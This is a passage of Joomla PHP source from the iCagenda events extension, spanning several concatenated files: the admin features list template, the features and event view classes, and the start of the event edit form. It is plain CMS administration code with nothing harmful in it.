					<label class="filter-search-lbl" for="filter_search"><?php echo JText::_('JSEARCH_FILTER_LABEL'); ?></label>
					<input type="text" name="filter_search" id="filter_search" value="<?php echo $this->escape($this->state->get('filter.search')); ?>" title="<?php echo JText::_('Search'); ?>" />
					<button type="submit"><?php echo JText::_('JSEARCH_FILTER_SUBMIT'); ?></button>
					<button type="button" onclick="document.id('filter_search').value='';this.form.submit();"><?php echo JText::_('JSEARCH_FILTER_CLEAR'); ?></button>
				</div>
				<div class="filter-select fltrt">
					<select name="filter_published" class="inputbox" onchange="this.form.submit()">
						<option value=""><?php echo JText::_('JOPTION_SELECT_PUBLISHED');?></option>
						<?php echo JHtml::_('select.options', JHtml::_('jgrid.publishedOptions'), "value", "text", $this->state->get('filter.state'), true);?>
					</select>
				</div>
			</fieldset>
			<div class="clr"> </div>

		<?php else : ?>

			<div id="filter-bar" class="btn-toolbar">
				<div class="filter-search btn-group pull-left">
					<label for="filter_search" class="element-invisible"><?php echo JText::_('COM_ICAGENDA_FILTER_SEARCH_FEATURES_DESC'); ?></label>
					<input type="text" name="filter_search" placeholder="<?php echo JText::_('COM_ICAGENDA_FILTER_SEARCH_FEATURES_DESC'); ?>" id="filter_search" value="<?php echo $this->escape($this->state->get('filter.search')); ?>" title="<?php echo JText::_('COM_ICAGENDA_FILTER_SEARCH_FEATURES_DESC'); ?>" />
				</div>
				<div class="btn-group pull-left hidden-phone">
					<button class="btn tip hasTooltip" type="submit" title="<?php echo JText::_('JSEARCH_FILTER_SUBMIT'); ?>"><i class="icon-search"></i></button>
					<button class="btn tip hasTooltip" type="button" onclick="document.id('filter_search').value='';this.form.submit();" title="<?php echo JText::_('JSEARCH_FILTER_CLEAR'); ?>"><i class="icon-remove"></i></button>
				</div>
				<div class="btn-group pull-right hidden-phone">
					<label for="limit" class="element-invisible"><?php echo JText::_('JFIELD_PLG_SEARCH_SEARCHLIMIT_DESC'); ?></label>
					<?php echo $this->pagination->getLimitBox(); ?>
				</div>
			</div>
			<div class="clearfix"> </div>

		<?php endif;?>


		<?php if(version_compare(JVERSION, '3.0', 'lt')) : ?>
			<table class="adminlist">
		<?php else : ?>
			<table class="table table-striped" id="featuresList">
		<?php endif; ?>

				<thead>
					<tr>

					<?php // START Joomla 3.x ?>
					<?php if(version_compare(JVERSION, '3.0', 'ge')) : ?>

						<?php // Ordering HEADER Joomla 3.x ?>
						<th width="1%" class="nowrap center hidden-phone">
							<?php echo JHtml::_('grid.sort', '<i class="icon-menu-2"></i>', 'a.ordering', $listDirn, $listOrder, null, 'asc', 'JGRID_HEADING_ORDERING'); ?>
						</th>

					<?php // END Joomla 3.x ?>
					<?php endif; ?>

						<?php // CheckBox HEADER ?>
						<th width="1%" class="hidden-phone">
							<input type="checkbox" name="checkall-toggle" value="" title="<?php echo JText::_('JGLOBAL_CHECK_ALL'); ?>" onclick="Joomla.checkAll(this)" />
						</th>

						<?php // Status HEADER ?>
						<th width="1%" style="min-width:55px" class="nowrap center">
							<?php echo JHtml::_('grid.sort', 'JSTATUS', 'a.state', $listDirn, $listOrder); ?>
						</th>

						<?php // Title HEADER ?>
						<th>
							<?php echo JHtml::_('grid.sort', 'COM_ICAGENDA_FEATURES_TITLE', 'a.title', $listDirn, $listOrder); ?>
						</th>

						<?php // Icon HEADER ?>
						<th width="30%" class="nowrap">
							<?php echo JHtml::_('grid.sort', 'COM_ICAGENDA_FEATURES_ICON', 'a.icon', $listDirn, $listOrder); ?>
						</th>

						<?php // Icon ALT HEADER ?>
						<th width="30%" class="nowrap">
							<?php echo JHtml::_('grid.sort', 'COM_ICAGENDA_FORM_FEATURE_ICON_ALT_LABEL', 'a.icon_alt', $listDirn, $listOrder); ?>
						</th>

						<?php // Show Filter HEADER ?>
						<th width="5%" class="center nowrap">
							<?php echo JHtml::_('grid.sort', 'COM_ICAGENDA_FEATURES_SHOW_FILTER', 'a.show_filter', $listDirn, $listOrder); ?>
						</th>

					<?php // START Joomla 2.5 ?>
					<?php if(version_compare(JVERSION, '3.0', 'lt')) : ?>

						<?php // Ordering HEADER Joomla 2.5 ?>
						<?php if (isset($this->items[0]->ordering)) { ?>
						<th width="10%">
							<?php echo JHtml::_('grid.sort',  'JGRID_HEADING_ORDERING', 'a.ordering', $listDirn, $listOrder); ?>
							<?php if ($canOrder && $saveOrder) :?>
								<?php echo JHtml::_('grid.order',  $this->items, 'filesave.png', 'features.saveorder'); ?>
							<?php endif; ?>
						</th>
						<?php } ?>

					<?php // END Joomla 2.5 ?>
					<?php endif; ?>

						<?php // ID HEADER ?>
						<th width="1%" class="nowrap hidden-phone">
							<?php echo JHtml::_('grid.sort', 'JGRID_HEADING_ID', 'a.id', $listDirn, $listOrder); ?>
						</th>
					</tr>
				</thead>

				<?php // FOOTER ?>
				<tfoot>
					<tr>
						<td colspan="10">
							<?php echo $this->pagination->getListFooter(); ?>
						</td>
					</tr>
				</tfoot>

				<?php // BODY ?>
				<tbody>

					<?php foreach ($this->items as $i => $item) :
						$ordering	= ($listOrder == 'a.ordering');
						$canCreate	= $user->authorise('core.create',		'com_icagenda');
						$canEdit	= $user->authorise('core.edit',			'com_icagenda');
						$canCheckin	= $user->authorise('core.manage',		'com_icagenda');
						$canChange	= $user->authorise('core.edit.state',	'com_icagenda');
						$canEditOwn	= $user->authorise('core.edit.own',		'com_icagenda');
						?>

						<tr class="row<?php echo $i % 2; ?>">

						<?php // START Joomla 3.x ?>
						<?php if(version_compare(JVERSION, '3.0', 'ge')) : ?>

							<?php // Ordering Joomla 3.x ?>
							<td class="order nowrap center hidden-phone">
								<?php if ($canChange) :
									$disableClassName = '';
									$disabledLabel	  = '';

									if (!$saveOrder) :
										$disabledLabel    = JText::_('JORDERINGDISABLED');
										$disableClassName = 'inactive tip-top';
									endif; ?>
									<span class="sortable-handler hasTooltip <?php echo $disableClassName; ?>" title="<?php echo $disabledLabel; ?>">
										<i class="icon-menu"></i>
									</span>
									<input type="text" style="display:none" name="order[]" size="5" value="<?php echo $item->ordering; ?>" class="width-20 text-area-order " />
								<?php else : ?>
									<span class="sortable-handler inactive" >
										<i class="icon-menu"></i>
									</span>
								<?php endif; ?>
							</td>

						<?php // END Joomla 3.x ?>
						<?php endif; ?>

							<?php // CheckBox ?>
							<td class="center hidden-phone">
								<?php echo JHtml::_('grid.id', $i, $item->id); ?>
							</td>

							<?php // Status ?>
						<?php if (isset($this->items[0]->state)) { ?>
							<td class="center">
								<?php echo JHtml::_('jgrid.published', $item->state, $i, 'features.', $canChange, 'cb'); ?>
							</td>
						<?php } ?>

							<?php // Title ?>
							<td class="nowrap has-context">
								<div class="pull-left">
									<?php if ($item->checked_out) : ?>
										<?php echo JHtml::_('jgrid.checkedout', $i, $item->editor, $item->checked_out_time, 'features.', $canCheckin); ?>
									<?php endif; ?>
									<?php //if ($item->language == '*'):?>
										<?php //$language = JText::alt('JALL', 'language'); ?>
									<?php //else:?>
										<?php //$language = $item->language ? $this->escape($item->language) : JText::_('JUNDEFINED'); ?>
									<?php //endif;?>
									<?php if ($canEdit) : ?>
										<a href="<?php echo JRoute::_('index.php?option=com_icagenda&task=feature.edit&id=' . $item->id); ?>" title="<?php echo JText::_('JACTION_EDIT'); ?>">
											<?php echo $this->escape($item->title); ?></a>
									<?php else : ?>
										<span title="<?php echo JText::sprintf('JFIELD_ALIAS_LABEL', $this->escape($item->alias)); ?>"><?php echo $this->escape($item->title); ?></span>
									<?php endif; ?>
								</div>

							<?php // START DropDown Edit Joomla 3.x ?>
							<?php if(version_compare(JVERSION, '3.0', 'ge')) : ?>

								<?php // Show Filter ?>
								<div class="pull-left">
									<?php
									// Create dropdown items
									JHtml::_('dropdown.edit', $item->id, 'feature.');
									JHtml::_('dropdown.divider');
									if ($item->state) :
										JHtml::_('dropdown.unpublish', 'cb' . $i, 'features.');
									else :
										JHtml::_('dropdown.publish', 'cb' . $i, 'features.');
									endif;

									JHtml::_('dropdown.divider');

									if ($archived) :
										JHtml::_('dropdown.unarchive', 'cb' . $i, 'features.');
									else :
										JHtml::_('dropdown.archive', 'cb' . $i, 'features.');
									endif;

									if ($item->checked_out) :
										JHtml::_('dropdown.checkin', 'cb' . $i, 'features.');
									endif;

									if ($trashed) :
										JHtml::_('dropdown.untrash', 'cb' . $i, 'features.');
									else :
										JHtml::_('dropdown.trash', 'cb' . $i, 'features.');
									endif;

									// Render dropdown list
									echo JHtml::_('dropdown.render');
									?>
								</div>

							<?php // END DropDown Edit Joomla 3.x ?>
							<?php endif; ?>
							</td>

							<?php // Icon ?>
							<td>
								<div>
									<?php echo '<img src="../' . $image_path . '/icagenda/feature_icons/24_bit/' . $item->icon . '" alt="[' . $item->icon . ']" />'; ?>
									<?php echo $item->icon == -1 ? JText::_('JOPTION_DO_NOT_USE') : $item->icon; ?>
								</div>
							</td>

							<?php // Icon ALT Value ?>
							<td>
								<div>
									<?php echo $this->escape($item->icon_alt) ?>
								</div>
							</td>

							<?php // Show Filter ?>
							<td class="center">
								<div>
									<i class="icon-<?php echo $item->show_filter ? 'publish' : 'unpublish';// Note:'publish/unpublish' preferred to 'checkmark/cancel' because of colour ?>"></i>
								</div>
							</td>

						<?php // START Joomla 2.5 ?>
						<?php if(version_compare(JVERSION, '3.0', 'lt')) : ?>

							<?php // Ordering Joomla 2.5 ?>
						<?php if (isset($this->items[0]->ordering)) { ?>
							<td class="order">
								<?php if ($canChange) : ?>
									<?php if ($saveOrder) :?>
										<?php if ($listDirn == 'asc') : ?>
											<span><?php echo $this->pagination->orderUpIcon($i, true, 'features.orderup', 'JLIB_HTML_MOVE_UP', $ordering); ?></span>
											<span><?php echo $this->pagination->orderDownIcon($i, $this->pagination->total, true, 'features.orderdown', 'JLIB_HTML_MOVE_DOWN', $ordering); ?></span>
										<?php elseif ($listDirn == 'desc') : ?>
											<span><?php echo $this->pagination->orderUpIcon($i, true, 'features.orderdown', 'JLIB_HTML_MOVE_UP', $ordering); ?></span>
											<span><?php echo $this->pagination->orderDownIcon($i, $this->pagination->total, true, 'features.orderup', 'JLIB_HTML_MOVE_DOWN', $ordering); ?></span>
										<?php endif; ?>
									<?php endif; ?>
									<?php $disabled = $saveOrder ?  '' : 'disabled="disabled"'; ?>
									<input type="text" name="order[]" size="5" value="<?php echo $item->ordering;?>" <?php echo $disabled ?> class="text-area-order" />
								<?php else : ?>
									<?php echo $item->ordering; ?>
								<?php endif; ?>
							</td>
						<?php } ?>

						<?php // END Joomla 2.5 ?>
						<?php endif; ?>

							<?php // ID ?>
						<?php if (isset($this->items[0]->id)) { ?>
							<td class="center hidden-phone">
								<?php echo (int) $item->id; ?>
							</td>
						<?php } ?>

						</tr>

					<?php endforeach; ?>

				</tbody>
			</table>
			<div>
				<input type="hidden" name="task" value="" />
				<input type="hidden" name="boxchecked" value="0" />
				<input type="hidden" name="filter_order" value="<?php echo $listOrder; ?>" />
				<input type="hidden" name="filter_order_Dir" value="<?php echo $listDirn; ?>" />
				<?php echo JHtml::_('form.token'); ?>
			</div>
		</div>
	</form>
<?php
}
else
{
	$app->enqueueMessage(JText::_('JERROR_ALERTNOAUTHOR'), 'warning');
	$app->redirect(htmlspecialchars_decode('index.php?option=com_icagenda&view=icagenda'));
}
com_icagenda/views/features/index.html000060400000000037152455305270014111 0ustar00<!DOCTYPE html><title></title>
com_icagenda/views/features/view.html.php000060400000011212152455305270014537 0ustar00<?php
/**
 *------------------------------------------------------------------------------
 *  iCagenda v3 by Jooml!C - Events Management Extension for Joomla! 2.5 / 3.x
 *------------------------------------------------------------------------------
 * @package     com_icagenda
 * @copyright   Copyright (c)2012-2015 Cyril Rezé, Jooml!C - All rights reserved
 *
 * @license     GNU General Public License version 3 or later; see LICENSE.txt
 * @author      doorknob
 * @link        http://www.joomlic.com
 *
 * @version     3.5.4 2015-04-02
 * @since       3.4.0
 *------------------------------------------------------------------------------
*/

// No direct access to this file
defined('_JEXEC') or die();

/**
 * View class Admin - List of Features - iCagenda.
 */
class iCagendaViewFeatures extends JViewLegacy
{
	protected $items;
	protected $pagination;
	protected $state;

	/**
	 * Display the view
	 *
	 * @since	3.4.0
	 */
	public function display($tpl = null)
	{
		// Joomla 2.5
		if (version_compare(JVERSION, '3.0', 'lt'))
		{
			jimport( 'joomla.environment.request' );

			JHtml::stylesheet( 'com_icagenda/icagenda-back.j25.css', false, true );
		}

		$this->state		= $this->get('State');
		$this->items		= $this->get('Items');
		$this->pagination	= $this->get('Pagination');

		// Check for errors.
		if (count($errors = $this->get('Errors')))
		{
			JError::raiseError(500, implode("\n", $errors));

			return false;
		}

		// We don't need toolbar in the modal window.
		if ($this->getLayout() !== 'modal')
		{
			$this->addToolbar();

			if(version_compare(JVERSION, '3.0', 'ge'))
			{
				$this->sidebar = JHtmlSidebar::render();
			}
		}

		parent::display($tpl);
	}

	/**
	 * Add the page title and toolbar.
	 *
	 * @since	3.4.0
	 */
	protected function addToolbar()
	{
		require_once JPATH_COMPONENT.DS.'helpers'.DS.'icagenda.php';

		$state	= $this->get('State');
		$user		= JFactory::getUser();
		$userId		= $user->get('id');
		$canDo		= iCagendaHelper::getActions();

		// Set Title
		if(version_compare(JVERSION, '3.0', 'lt'))
		{
			JToolBarHelper::title('iCagenda - ' . JText::_('COM_ICAGENDA_TITLE_FEATURES'), 'features.png');
		}
		else
		{
			JToolBarHelper::title('iCagenda <span style="font-size:14px;">- ' . JText::_('COM_ICAGENDA_TITLE_FEATURES') . '</span>', 'folder');
		}

		$icTitle = JText::_('COM_ICAGENDA_TITLE_FEATURES');

		$document	= JFactory::getDocument();
		$app		= JFactory::getApplication();
		$sitename = $app->getCfg('sitename');
		$title = $app->getCfg('sitename') . ' - ' . JText::_('JADMINISTRATION') . ' - iCagenda: ' . $icTitle;
		$document->setTitle($title);

		//Check if the form exists before showing the add/edit buttons
		$formPath = JPATH_COMPONENT_ADMINISTRATOR.'/views/feature';

		if (file_exists($formPath))
		{
			if ($canDo->get('core.create'))
			{
				JToolBarHelper::addNew('feature.add','JTOOLBAR_NEW');
			}

			if ($canDo->get('core.edit'))
			{
				JToolBarHelper::editList('feature.edit','JTOOLBAR_EDIT');
			}
		}

		if ($canDo->get('core.edit.state'))
		{
			if (isset($this->items[0]->state))
			{
				JToolBarHelper::divider();
				JToolBarHelper::custom('features.publish', 'publish.png', 'publish_f2.png','JTOOLBAR_PUBLISH', true);
				JToolBarHelper::custom('features.unpublish', 'unpublish.png', 'unpublish_f2.png', 'JTOOLBAR_UNPUBLISH', true);
			}
			else
			{
				//If this component does not use state then show a direct delete button as we can not trash
				JToolBarHelper::deleteList('', 'features.delete','JTOOLBAR_DELETE');
			}

			if (isset($this->items[0]->state))
			{
				JToolBarHelper::divider();
				JToolBarHelper::archiveList('features.archive','JTOOLBAR_ARCHIVE');
			}

			if (isset($this->items[0]->checked_out))
			{
				JToolBarHelper::custom('features.checkin', 'checkin.png', 'checkin_f2.png', 'JTOOLBAR_CHECKIN', true);
			}
		}

		//Show trash and delete for components that uses the state field
		if (isset($this->items[0]->state))
		{
			if ($state->get('filter.state') == -2 && $canDo->get('core.delete'))
			{
				JToolBarHelper::deleteList('', 'features.delete','JTOOLBAR_EMPTY_TRASH');
				JToolBarHelper::divider();
			}
			elseif ($canDo->get('core.edit.state'))
			{
				JToolBarHelper::trash('features.trash','JTOOLBAR_TRASH');
				JToolBarHelper::divider();
			}
		}

		if ($canDo->get('core.admin'))
		{
			JToolBarHelper::preferences('com_icagenda');
		}

		if(version_compare(JVERSION, '3.0', 'ge'))
		{
			JHtmlSidebar::setAction('index.php?option=com_icagenda&view=features');

			JHtmlSidebar::addFilter(
				JText::_('JOPTION_SELECT_PUBLISHED'),
				'filter_published',
				JHtml::_('select.options', JHtml::_('jgrid.publishedOptions'), 'value', 'text', $this->state->get('filter.state'), true)
			);
		}
	}
}
com_icagenda/views/event/view.html.php000060400000011706152455305270014052 0ustar00<?php
/**
 *------------------------------------------------------------------------------
 *  iCagenda v3 by Jooml!C - Events Management Extension for Joomla! 2.5 / 3.x
 *------------------------------------------------------------------------------
 * @package     com_icagenda
 * @copyright   Copyright (c)2012-2015 Cyril Rezé, Jooml!C - All rights reserved
 *
 * @license     GNU General Public License version 3 or later; see LICENSE.txt
 * @author      Cyril Rezé (Lyr!C)
 * @link        http://www.joomlic.com
 *
 * @version     3.5.6 2015-06-10
 * @since       1.0
 *------------------------------------------------------------------------------
*/

// No direct access to this file
defined('_JEXEC') or die();

/**
 * View class Admin - Edit an Event - iCagenda
 */
class iCagendaViewEvent extends JViewLegacy
{
	protected $state;
	protected $item;
	protected $form;

	/**
	 * Display the view
	 *
	 * @since	1.0
	 */
	public function display($tpl = null)
	{
		// Initialiase variables.
		$this->state	= $this->get('State');
		$this->item		= $this->get('Item');
		$this->form		= $this->get('Form');

		// Check for errors.
		if (count($errors = $this->get('Errors')))
		{
			JError::raiseError(500, implode("\n", $errors));
			return false;
		}

		$icagenda_categories = class_exists('icagendaCategories') ? icagendaCategories::getList('1') : false;

		if ($icagenda_categories)
		{
			$this->addToolbar();
		}
		else
		{
			$app = JFactory::getApplication();
			$app->enqueueMessage(JText::_('COM_ICAGENDA_ALERT_NO_CATEGORY_PUBLISHED')
								. '<br /><br /><a class="btn btn-success" href="index.php?option=com_icagenda&view=category&layout=edit" >'
								. JText::_('COM_ICAGENDA_LEGEND_NEW_CATEGORY') . '</a>'
								. ' <a class="btn btn-inverse btn-mini" href="index.php?option=com_icagenda&view=categories" >'
								. JText::_('ICCATEGORIES')
								. '</a>', 'warning');
			$app->redirect(htmlspecialchars_decode('index.php?option=com_icagenda&view=events'));
		}

		parent::display($tpl);

		icagendaForm::loadDateTimePickerJSLanguage();

		JHtml::stylesheet( 'com_icagenda/icagenda.css', false, true );
	}

	/**
	 * Add the page title and toolbar.
	 *
	 * @since	1.0
	 */
	protected function addToolbar()
	{
		if (version_compare(JVERSION, '3.0', 'lt'))
		{
			JRequest::setVar('hidemainmenu', true);
		}
		else
		{
			JFactory::getApplication()->input->set('hidemainmenu', true);
		}

		$user		= JFactory::getUser();
		$userId		= $user->get('id');
		$isNew		= ($this->item->id == 0);
		$checkedOut	= !($this->item->checked_out == 0 || $this->item->checked_out == $userId);
		$canDo		= iCagendaHelper::getActions();

		// Set Title
		if (version_compare(JVERSION, '3.0', 'lt'))
		{
			JToolBarHelper::title($isNew	? 'iCagenda - ' . JText::_('COM_ICAGENDA_LEGEND_NEW_EVENT')
											: 'iCagenda - ' . JText::_('COM_ICAGENDA_LEGEND_EDIT_EVENT'),
											'event');
		}
		else
		{
			JToolBarHelper::title($isNew	? 'iCagenda <span style="font-size:14px;">- ' . JText::_('COM_ICAGENDA_LEGEND_NEW_EVENT') . '</span>'
											: 'iCagenda <span style="font-size:14px;">- ' . JText::_('COM_ICAGENDA_LEGEND_EDIT_EVENT') . '</span>',
											$isNew ? 'new' : 'pencil-2');
		}

		$icTitle	= $isNew ? JText::_('COM_ICAGENDA_LEGEND_NEW_EVENT') : JText::_('COM_ICAGENDA_LEGEND_EDIT_EVENT');

		$document	= JFactory::getDocument();
		$app		= JFactory::getApplication();
		$sitename	= $app->getCfg('sitename');
		$title		= $app->getCfg('sitename') . ' - ' . JText::_('JADMINISTRATION') . ' - iCagenda: ' . $icTitle;

		$document->setTitle($title);

		// Build the actions for new and existing records.
		if ($isNew)
		{
			// For new records, check the create permission.
			if ($canDo->get('core.create'))
			{
				JToolBarHelper::apply('event.apply', 'JTOOLBAR_APPLY');
				JToolBarHelper::save('event.save', 'JTOOLBAR_SAVE');
				JToolBarHelper::custom('event.save2new', 'save-new.png', 'save-new_f2.png', 'JTOOLBAR_SAVE_AND_NEW', false);
			}

			JToolBarHelper::cancel('event.cancel', 'JTOOLBAR_CANCEL');
		}
		else
		{
			// Can't save the record if it's checked out.
			if ( ! $checkedOut)
			{
				// Since it's an existing record, check the edit permission, or fall back to edit own if the owner.
				if ($canDo->get('core.edit') || ($canDo->get('core.edit.own') && $this->item->created_by == $userId))
				{
					// We can save the new record
					JToolBarHelper::apply('event.apply', 'JTOOLBAR_APPLY');
					JToolBarHelper::save('event.save', 'JTOOLBAR_SAVE');

					// We can save this record, but check the create permission to see
					// if we can return to make a new one.
					if ($canDo->get('core.create'))
					{
						JToolBarHelper::custom('event.save2new', 'save-new.png', 'save-new_f2.png', 'JTOOLBAR_SAVE_AND_NEW', false);
					}
				}
			}

			// If checked out, we can still save
			if ($canDo->get('core.create'))
			{
				JToolBarHelper::custom('event.save2copy', 'save-copy.png', 'save-copy_f2.png', 'JTOOLBAR_SAVE_AS_COPY', false);
			}

			JToolBarHelper::cancel('event.cancel', 'JTOOLBAR_CLOSE');
		}
	}
}
com_icagenda/views/event/tmpl/edit.php000060400000111447152455305270014041 0ustar00<?php
/**
 *------------------------------------------------------------------------------
 *  iCagenda v3 by Jooml!C - Events Management Extension for Joomla! 2.5 / 3.x
 *------------------------------------------------------------------------------
 * @package     com_icagenda
 * @copyright   Copyright (c)2012-2015 Cyril Rezé, Jooml!C - All rights reserved
 *
 * @license     GNU General Public License version 3 or later; see LICENSE.txt
 * @author      Cyril Rezé (Lyr!C)
 * @link        http://www.joomlic.com
 *
 * @version     3.5.7 2015-07-16
 * @since       1.0
 *------------------------------------------------------------------------------
*/

// No direct access to this file
defined('_JEXEC') or die();

JHtml::_('behavior.formvalidation');
//JHtml::_('behavior.formvalidator'); // j!3.4.0 ?
JHtml::_('behavior.keepalive');

$app = JFactory::getApplication();
$document = JFactory::getDocument();

// Access Administration Events check.
if (JFactory::getUser()->authorise('icagenda.access.events', 'com_icagenda')
	&& defined('IC_LIBRARY'))
{
	$bootstrapType		= '1';

	$EventTag			= 'event';
	$EventTitle			= JText::_('COM_ICAGENDA_TITLE_EVENT', true);

	$DatesTag			= 'dates';
	$DatesTitle			= JText::_('COM_ICAGENDA_LEGEND_DATES', true);

	$DescTag			= 'desc';
	$DescTitle			= JText::_('COM_ICAGENDA_LEGEND_DESC', true);

	$InfosTag			= 'infos';
	$InfosTitle			= JText::_('COM_ICAGENDA_LEGEND_INFORMATION', true);

	$GooglemapTag		= 'googlemap';
	$GooglemapTitle		= JText::_('COM_ICAGENDA_LEGEND_GOOGLE_MAPS', true);

	$RegistrationsTag	= 'registrations';
	$RegistrationsTitle	= JText::_('COM_ICAGENDA_REGISTRATIONS_LABEL', true);

	$OptionsTag			= 'options';
	$OptionsTitle		= JText::_('JOPTIONS', true);

	$PublishingTag		= 'publishing';
	$PublishingTitle	= JText::_('JGLOBAL_FIELDSET_PUBLISHING', true);

	// Joomla 2.5
	if (version_compare(JVERSION, '3.0', 'lt'))
	{
		jimport( 'joomla.html.html.tabs' );

		$iCmapDisplay		= '3';

		$icPanEvent			= JText::_('COM_ICAGENDA_TITLE_EVENT', true);
		$icPanDates			= JText::_('COM_ICAGENDA_LEGEND_DATES', true);
		$icPanDesc			= JText::_('COM_ICAGENDA_LEGEND_DESC', true);
		$icPanInfos			= JText::_('COM_ICAGENDA_LEGEND_INFORMATION', true);
		$icPanGooglemap		= JText::_('COM_ICAGENDA_LEGEND_GOOGLE_MAPS', true);
		$icPanRegistrations	= JText::_('COM_ICAGENDA_REGISTRATIONS_LABEL', true);
		$icPanOptions		= JText::_('JOPTIONS', true);
		$icPanPublishing	= JText::_('JGLOBAL_FIELDSET_PUBLISHING', true);
		$startPane			= 'tabs.start';
		$addPanel			= 'tabs.panel';
		$endPanel			= 'tabs.end';
		$endPane			= 'tabs.end';
		$EventTag1			= $EventTag;
		$EventTag2			= $EventTitle;
		$DatesTag1			= $DatesTag;
		$DatesTag2			= $DatesTitle;
		$DescTag1			= $DescTag;
		$DescTag2			= $DescTitle;
		$InfosTag1			= $InfosTag;
		$InfosTag2			= $InfosTitle;
		$GooglemapTag1		= $GooglemapTag;
		$GooglemapTag2		= $GooglemapTitle;
		$RegistrationsTag1	= $RegistrationsTag;
		$RegistrationsTag2	= $RegistrationsTitle;
		$OptionsTag1		= $OptionsTag;
		$OptionsTag2		= $OptionsTitle;
		$PublishingTag1		= $PublishingTag;
		$PublishingTag2		= $PublishingTitle;
	}

	// Joomla 3
	else
	{
		JHtml::_('formbehavior.chosen', 'select');
		jimport('joomla.html.html.bootstrap');

		$icPanEvent			= 'icTab';
		$icPanDates			= 'icTab';
		$icPanDesc			= 'icTab';
		$icPanInfos			= 'icTab';
		$icPanGooglemap		= 'icTab';
		$icPanRegistrations	= 'icTab';
		$icPanOptions		= 'icTab';
		$icPanPublishing	= 'icTab';

		if ($bootstrapType == '1')
		{
			$iCmapDisplay		= '1';
			$startPane			= 'bootstrap.startTabSet';
			$addPanel			= 'bootstrap.addTab';
			$endPanel			= 'bootstrap.endTab';
			$endPane			= 'bootstrap.endTabSet';
			$EventTag1			= $EventTag;
			$EventTag2			= $EventTitle;
			$DatesTag1			= $DatesTag;
			$DatesTag2			= $DatesTitle;
			$DescTag1			= $DescTag;
			$DescTag2			= $DescTitle;
			$InfosTag1			= $InfosTag;
			$InfosTag2			= $InfosTitle;
			$GooglemapTag1		= $GooglemapTag;
			$GooglemapTag2		= $GooglemapTitle;
			$RegistrationsTag1	= $RegistrationsTag;
			$RegistrationsTag2	= $RegistrationsTitle;
			$OptionsTag1		= $OptionsTag;
			$OptionsTag2		= $OptionsTitle;
			$PublishingTag1		= $PublishingTag;
			$PublishingTag2		= $PublishingTitle;
		}
		elseif ($bootstrapType == '2')
		{
			$iCmapDisplay		= '2';
			$startPane			= 'bootstrap.startAccordion';
			$addPanel			= 'bootstrap.addSlide';
			$endPanel			= 'bootstrap.endSlide';
			$endPane			= 'bootstrap.endAccordion';
			$EventTag1			= $EventTitle;
			$EventTag2			= $EventTag;
			$DatesTag1			= $DatesTitle;
			$DatesTag2			= $DatesTag;
			$DescTag1			= $DescTitle;
			$DescTag2			= $DescTag;
			$InfosTag1			= $InfosTitle;
			$InfosTag2			= $InfosTag;
			$GooglemapTag1		= $GooglemapTitle;
			$GooglemapTag2		= $GooglemapTag;
			$RegistrationsTag1	= $RegistrationsTitle;
			$RegistrationsTag2	= $RegistrationsTag;
			$OptionsTag1		= $OptionsTitle;
			$OptionsTag2		= $OptionsTag;
			$PublishingTag1		= $PublishingTitle;
			$PublishingTag2		= $PublishingTag;
		}
	}

	$params = $this->form->getFieldsets('params');

	// ZOOM
	$zoom		= '1';
	// HYBRID, ROADMAP, SATELLITE, TERRAIN
	$mapTypeId	= 'ROADMAP';

	$coords		= '0, 0';
	$oldcoordinate = $this->item->coordinate;
	$lat		= $this->item->lat;
	$lng		= $this->item->lng;

	if (($oldcoordinate == NULL) && ($lat == '0') && ($lng == '0'))
	{
		$zoom = '1';
	}
	// Notes: 	zoomControl: false, mapTypeControl: false

	// Control of dates if valid (Alert Messages)
	$messagealert	= '';
	$alert			= '';
	$nodate			= '0000-00-00 00:00:00';
	$nextget		= $this->item->next;

	if ($nextget == '-3600'
		|| $nextget == $nodate)
	{
		$messagealert = '<div><h4><b>' . JText::_('COM_ICAGENDA_FORM_ALERT_UNPUBLISHED') . '</b></h4></div>';

		if (($this->item->startdate == $nodate) && ($this->item->enddate != $nodate))
		{
			$messagealert.= '<p>' . JText::_('COM_ICAGENDA_FORM_ERROR_NO_STARTDATE') . '</p><br>';
		}
		if (($this->item->enddate == $nodate) && ($this->item->startdate != $nodate))
		{
			$messagealert.= '<p>' . JText::_('COM_ICAGENDA_FORM_ERROR_NO_ENDDATE') . '</p><br>';
		}
		if (($this->item->enddate < $this->item->startdate)
			&& (($this->item->next != '-3600') || ($this->item->next != $nodate)))
		{
			$messagealert.= '<p>' . JText::_('COM_ICAGENDA_FORM_ERROR_INVALID_PERIOD') . '</p><br>';
		}
	}
	else
	{
		if (($this->item->startdate == $nodate) && ($this->item->enddate != $nodate))
		{
			$alert.= '<p>' . JText::_('COM_ICAGENDA_FORM_ERROR_NO_STARTDATE') . '</p><br>';
		}
		if (($this->item->enddate == $nodate) && ($this->item->startdate != $nodate))
		{
			$alert.= '<p>' . JText::_('COM_ICAGENDA_FORM_ERROR_NO_ENDDATE') . '</p><br>';
		}
		if (($this->item->enddate < $this->item->startdate)
			&& (($this->item->next != '-3600') || ($this->item->next != $nodate)))
		{
			$alert.= '<p>' . JText::_('COM_ICAGENDA_FORM_ERROR_INVALID_PERIOD') . '</p><br>';
		}
	}
	?>

	<?php // ERROR ALERT ?>
	<div id="form_errors" class="alert alert-danger" style="display:none">
		<strong><?php echo JText::_('JGLOBAL_VALIDATION_FORM_FAILED'); ?></strong>
		<div id="message_error">
		</div>
	</div>

	<div class="alert alert-danger" id="error_dates" style="display:none">
		<?php echo '<strong>' . JText::_('COM_ICAGENDA_FORM_WARNING') . '</strong><br />' . JText::_('COM_ICAGENDA_FORM_NO_DATES_ALERT'); ?>
	</div>

	<form action="<?php echo JRoute::_('index.php?option=com_icagenda&layout=edit&id=' . (int) $this->item->id); ?>" method="post" name="adminForm" id="event-form" class="form-validate" enctype="multipart/form-data">
		<div class="container">

			<!-- iCheader top bar -->
			<!--div class="iCheader-top">
				<a href="#">
					<strong>&laquo; Previous </strong>event
				</a>
				<span class="right">
					<a href="#">
						<strong>Next</strong> event <strong>&raquo;</strong>
					</a>
				</span>
				<div class="clr"></div>
			</div-->
			<!--/ iCheader top bar -->

			<!-- iCagenda Header -->
			<?php
			$new_event_value = empty($this->item->id) ? '1' : '0';
			?>
			<header>
				<h1>
					<?php echo '<input type="hidden" value="' . $new_event_value . '" name="new_event" />'; ?>
					<?php echo empty($this->item->id) ? JText::_('COM_ICAGENDA_LEGEND_NEW_EVENT') : JText::sprintf('COM_ICAGENDA_LEGEND_EDIT_EVENT', $this->item->id); ?>&nbsp;<span>iCagenda</span>
				</h1>
				<h2>
